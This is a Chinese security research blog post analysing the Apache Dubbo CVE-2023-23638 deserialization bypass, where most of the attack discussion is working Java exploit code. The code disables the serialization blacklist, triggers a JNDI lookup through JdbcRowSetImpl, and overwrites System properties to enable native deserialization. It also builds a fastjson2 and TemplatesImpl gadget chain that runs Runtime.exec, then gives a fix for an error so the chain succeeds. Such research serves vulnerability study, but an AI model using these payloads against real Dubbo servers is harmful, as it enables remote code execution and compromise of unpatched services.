本文首发于先知社区:https://xz.aliyun.com/t/12396
在对Apache dubbo 的CVE-2023-23638漏洞分析的过程中,通过对师傅们对这个漏洞的学习和整理,再结合了一些新学的技巧运用,从而把这个漏洞的利用向前推了一步。整个过程中的研究思路以及遇到问题并解决问题的过程,我觉得值得分享,所以写下此文记录。
漏洞背景
Apache Dubbo 是一款易用、高性能的WEB 和RPC 框架,同时为构建企业级微服务提供服务发现、流量治理、可观测、认证鉴权等能力、工具与最佳实践。
该漏洞核心原理是利用dubbo的泛化调用功能,反序列化任意类,从而造成反序列化攻击。这个漏洞影响Apache Dubbo 2.7.x,2.7.21及之前版本; Apache Dubbo 3.0.x 版本,3.0.13 及之前版本; Apache Dubbo 3.1.x 版本,3.1.5 及之前的版本。
在普通的Dubbo方法调用过程中,客户端需要环境中存在被调用类的接口,才能正常继续调用。泛化调用则是指在客户端在没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。 详细的泛化调用说明可以见:https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/。
既然是泛化调用,那就代表用户可以在Dubbo服务端传入任意类。也正是因为这个功能,给Dubbo带来了一些漏洞,在CVE-2021-30179中,由于这个功能没有对传入的类做任何的限制,导致攻击者可以通过传入恶意的类,并调用其特定方法,导致代码执行。后续Dubbo在代码层面对传入的类进行了限制,从而防御攻击者传入恶意的类进行RCE,而这个防御,在CVE-2023-23638中被绕过,也就是本篇文章所要讲述的内容。
漏洞原理
Dubbo处理泛化调用请求的核心类是org.apache.dubbo.rpc.filter.GenericFilter,在这个filter的invoke方法中,对客户端的调用进行了判断,同时根据服务端的配置进入不同的反序列化逻辑。用户进行泛化调用时可以传入一个hashmap,当map中存在generic-raw.return这组键值对时,GenericFilter就会进入PojoUtils.realize()方法,把用户传入的类进行实例化,并对实例化后对象的属性进行赋值。
CVE-2021-30179的补丁打在了类初始化的时候:
1 2 3 4 5 6 7 8 9 10 11 12
| else if (pojo instanceof Map && type != null) { Object className = ((Map)pojo).get("class"); if (className instanceof String) { SerializeClassChecker.getInstance().validateClass((String)className); if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) { try { type = ClassUtils.forName((String)className); } catch (ClassNotFoundException var22) { CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE); } } }
|
通过调用SerializeClassChecker.getInstance().validateClass((String)className);
对传入的类进行黑名单过滤,过滤结束后使用ClassUtils.forName((String)className);
获取类,后续会调用class.newInstance()进行类的实例化,最后通过如下代码进行对象的属性赋值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| if (value != null) { Method method = getSetterMethod(dest.getClass(), name, value.getClass()); Field field = getField(dest.getClass(), name); if (method != null) { if (!method.isAccessible()) { method.setAccessible(true); }
Type ptype = method.getGenericParameterTypes()[0]; value = realize0(value, method.getParameterTypes()[0], ptype, history);
try { method.invoke(dest, value); } catch (Exception var20) { String exceptionDescription = "Failed to set pojo " + dest.getClass().getSimpleName() + " property " + name + " value " + value.getClass() + ", cause: " + var20.getMessage(); logger.error("0-8", "", "", exceptionDescription, var20); throw new RuntimeException(exceptionDescription, var20); } } else if (field != null) { value = realize0(value, field.getType(), field.getGenericType(), history);
try { field.set(dest, value); } catch (IllegalAccessException var19) { throw new RuntimeException("Failed to set field " + name + " of pojo " + dest.getClass().getName() + " : " + var19.getMessage(), var19); } } }
|
程序会先尝试先获取类属性的set方法,如果目标类存在这个set方法,那么会利用method.invoke进行执行。如果没有set方法,那么会通过反射获取类的目标属性,然后调用field.set进行赋值。
也就是说,泛化调用对于用户提供了如下的代码执行点:
我们可以传入任意的非黑名单类,然后调用这个类的public或者private无参构造方法,然后可以调用这个生成的Object的任意set+METHOD_NAME方法,要求参数有且仅有一个,或者利用object.field.set方法对这个object的任意属性赋值。
这个漏洞存在两种利用方式,对应了dubbo提供的两种赋值的方法。
利用方式1
利用object.field.set进行利用。
Dubbo在泛化调用中,对传入类进行黑名单过滤的具体代码在org.apache.dubbo.common.utils.PojoUtils#realize0,使用SerializeClassChecker的validateClass方法进行过滤。
1 2 3 4 5 6 7 8 9 10 11
| Object className = ((Map)pojo).get("class"); if (className instanceof String) { SerializeClassChecker.getInstance().validateClass((String)className); if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) { try { type = ClassUtils.forName((String)className); } catch (ClassNotFoundException var22) { CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE); } } }
|
validateClass方法内容如下:
1 2 3 4 5 6
| public boolean validateClass(String name, boolean failOnError) { if (!this.OPEN_CHECK_CLASS) { return true; } else { ...
|
这个方法首先会对SerializeClassChecker的OPEN_CHECK_CLASS属性进行判断,如果这个属性为false,那么就不会对传入类进行检查,直接返回。再看getInstance方法:
1 2 3 4 5 6 7 8 9 10 11 12
| public static SerializeClassChecker getInstance() { if (INSTANCE == null) { Class var0 = SerializeClassChecker.class; synchronized(SerializeClassChecker.class) { if (INSTANCE == null) { INSTANCE = new SerializeClassChecker(); } } }
return INSTANCE; }
|
这是一个典型的单例模式的写法。因此如果我们可以替换掉这个INSTANCE对象,将它的OPEN_CHECK_CLASS属性置为false,那么就可以绕过黑名单类的检查,之后就可以使用类似CVE-2021-30179的POC进行代码执行。核心代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| private static Map getInstance() throws IOException { HashMap newChecker = new HashMap(); newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker"); newChecker.put("OPEN_CHECK_CLASS", false); HashMap map = new HashMap(); map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker"); map.put("INSTANCE", newChecker); LinkedHashMap map2 = new LinkedHashMap(); map2.put("class", "com.sun.rowset.JdbcRowSetImpl"); map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp"); map2.put("autoCommit", true); HashMap map3 = new HashMap(); map3.put("class","java.util.HashMap"); map3.put("1",map); map3.put("2",map2); return map3; }
|
第一个newChecker,用于创建一个OPEN_CHECK_CLASS属性值为false的SerializeClassChecker的对象,第二个map,用于将newChecker传入到SerializeClassChecker的单例INSTACNE属性中。然后第三个map2,使用类似CVE-2021-30179的POC,创建一个com.sun.rowset.JdbcRowSetImpl对象,然后dubbo会先后调用setDataSourceName和setAutoCommit,从而向我们指定的地址发起JNDI请求。需要注意这里map2需要设置为LinkedHashMap,否则在dubbo进行set调用时可能无法按照先setDataSourceName,再setAutoCommit的顺序执行。
利用方式2
利用object.set+METHOD_NAME进行利用。
dubbo在泛化调用的过程中是存在一个接口允许原生java反序列化的。但是这个接口默认不开启,同时会进行序列化的黑名单类检查。然而这个接口调用开关是可以被控制的,我们如果可以把它打开,那么这个漏洞就变成了一个原生的java反序列化漏洞,利用特定的gadget就可以RCE。在https://xz.aliyun.com/t/12333#toc-5中,师傅提到了可以使用org.apache.dubbo.common.utils.ConfigUtils
类,它存在一个setProperties方法,可以对PROPERTIES
对象进行赋值,从而控制开关。但是我发现org.apache.dubbo.common.utils.ConfigUtils
的setProperties方法只在2.7.x版本的dubbo存在,3.0.x和3.1.x都是没有的。那有没有什么通用的方法呢?事实上,Dubbo的configuration也是可以通过java.lang.System类的props对象进行传入的。那么就可以直接调用System.setProperties方法,传入修改后的dubbo配置。代码如下:
1 2 3 4 5 6 7 8 9
| private static Map getProperties() throws IOException { Properties properties = new Properties(); properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true"); properties.setProperty("serialization.security.check","false"); HashMap map = new HashMap(); map.put("class", "java.lang.System"); map.put("properties", properties); return map; }
|
在这之后就可以使用类似如下的代码进行原生反序列化利用
1 2 3 4
| out.writeObject(getEvilObject()); HashMap attachments = new HashMap(); attachments.put("generic", "nativejava"); out.writeObject(attachments);
|
进一步拓展
上述两种方法,在公开的分析文章里,都存在着一些问题。方法1中最终的Sink点是JNDI注入,需要出网。方法2中最终需要依赖特定的Gadget,在之前的Dubbo的反序列化分析文章中,大家在Gadget选择时都会使用一些三方依赖进行漏洞利用,例如Rome、CommonsBeanutils1等。那Dubbo是否存在原生的Java反序列化链呢?
在Dubbo 3.1.x的版本中,新增了对Fastjson2的支持。恰好前段时间刚好看到有师傅发了fastjson库在原生Java反序列化中的利用。结论是fastjons小于1.2.48版本是可以使用,fastjson2全版本是通杀的。利用的原理是fastjson的JSONArray或者JSONObject在调用其toString方法时,会触发其包裹对象的get+METHOD_NAME方法。因此很容易想到可以包裹一个TemplatesImpl对象,通过调用其getOutputProperties方法,从而执行任意代码。
既然已经有了方法,那实现一下试试吧。关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| public static Map getProperties() throws IOException { Properties properties = new Properties(); properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true"); properties.setProperty("serialization.security.check","false"); HashMap map = new HashMap(); map.put("class", "java.lang.System"); map.put("properties", properties); return map; }
public static Object getObject() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "test"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonArray);
NativeJavaSerialization nativeJavaSerialization =new NativeJavaSerialization(); UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream(); ObjectOutput o = nativeJavaSerialization.serialize(null,unsafeByteArrayOutputStream); o.writeObject(val);
return unsafeByteArrayOutputStream.toByteArray(); }
send(getProperties()); send(getObject());
|
程序先通过System.setProperties修改目标的序列化配置,然后再发送恶意的序列化代码,指定目标执行一个Calc.exe程序。结果程序报错了,报错如下:
![](/img/CVE-2023-23638_1/image_HO65mXc32i.png)
![](/img/CVE-2023-23638_1/image_5VIaNuuwmv.png)
程序最前面和预期的一样,成功执行了Java原生反序列化,但是在反序列化的过程中,fastjson2的JSONWriter$Context的类初始化时,在TzdbZoneRulesProvider的构造函数中报错了,其构造函数如下:
1 2 3 4 5 6 7 8 9 10 11 12
| public TzdbZoneRulesProvider() { try { String libDir = System.getProperty("java.home") + File.separator + "lib"; try (DataInputStream dis = new DataInputStream( new BufferedInputStream(new FileInputStream( new File(libDir, "tzdb.dat"))))) { load(dis); } } catch (Exception ex) { throw new ZoneRulesException("Unable to load TZDB time-zone rules", ex); } }
|
可以看到,这个构造函数中会调用System.getProperty(“java.home”),拼接进文件读取路径,从而去读取jre路径下的tzdb.dat,这是一个IANA提供的TimeZone数据库,维护着最新最全的全球时区相关基础数据。由于我们在反序列化前替换掉了目标服务的System类的props对象,因此,这里System.getProperty(“java.home”)就会返回null,从而导致报错。
这个问题如何解决呢?通过观察调用链,以及动态调试,我找到了解决方法。通过在TzdbZoneRulesProvider类的构造函数打断点。
![](/img/CVE-2023-23638_1/image_oLkhamkSK9.png)
注意到TzdbZoneRulesProvider的初始化是被ZoneRulesProvider的类初始化调用的。ZoneRulesProvider的相关代码如下:
![](/img/CVE-2023-23638_1/image_-131oQ8pVF.png)
可以看到在ZoneRulesProvider类的static代码块中调用的new TzdbZoneRulesProvider()。static块的代码在程序被运行起来后,之后最多加载一次。因此如果可以让这个ZoneRulesProvider类在我们执行攻击前被加载一次,那么我们在执行攻击时就不会再加载这块代码,也就不会报错了。
有了这个方法,第一时间就想到,dubbo 的泛化调用可以初始化并newIntance类,并且TzdbZoneRulesProvider是ZoneRulesProvider的子类,ZoneRulesProvider在newIntance时初始化其弗雷,从而调用传ZoneRulesProvider类的static代码。基于这个想法,构造如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private static Map getInstance() throws IOException { HashMap map = new HashMap(); map.put("class", "java.time.zone.TzdbZoneRulesProvider"); return map; }
private static Map getProperties() throws IOException { Properties properties = new Properties(); properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true"); properties.setProperty("serialization.security.check","false"); HashMap map = new HashMap(); map.put("class", "java.lang.System"); map.put("properties", properties); return map; }
|
分成两步发送,最后发送序列化poc,即可完成代码执行。
![](/img/CVE-2023-23638_1/image_yV-gAvCExr.png)
参考链接